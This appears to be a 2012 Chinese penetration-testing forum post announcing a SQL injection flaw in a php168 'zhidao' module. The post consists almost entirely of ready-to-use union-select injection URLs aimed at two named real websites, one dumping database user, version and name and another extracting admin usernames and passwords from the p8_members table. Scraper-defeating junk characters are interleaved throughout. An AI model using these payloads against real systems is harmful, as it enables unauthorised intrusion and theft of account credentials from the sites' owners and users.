中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
0 j* `8 F. i$ m                                                       7 x& }  u* s$ N& D/ U, }- `
                                    [attach]94[/attach]
( g2 h6 r; }8 O2 P# o# _
' D5 H$ x+ J" C/ j+ Y, f* Lhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
5 ^/ g3 c" G( z  U. W: Y
8 G2 ^' @; c) _- }; _
: o2 @5 _3 P, H                                                       [attach]95[/attach]
4 W; m/ _/ t  chttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ }  ]: N% n$ I5 S! y  l% Q7 ]6 w5 L( r; u; L: t" Z

- C5 d8 Y' q  B  u5 W- u% G& j* }$ |( h! V  V) D& o  K
                                                         [attach]96[/attach]3 s, \: @, P1 e; H# y5 g$ u7 S0 N1 S

6 E+ K! d; P! n9 {1 dhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
' k" l+ W  r. C* O! Q/ T& O0 \+ ^- S* _- W1 l: n, W" ?8 o
' w8 T2 {, n8 z0 ~! D8 `) y
0 P1 r; k* R" K0 V
                                                                  [attach]97[/attach]
$ ]9 T& u: ]' S9 [2 H5 E' Y6 q

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)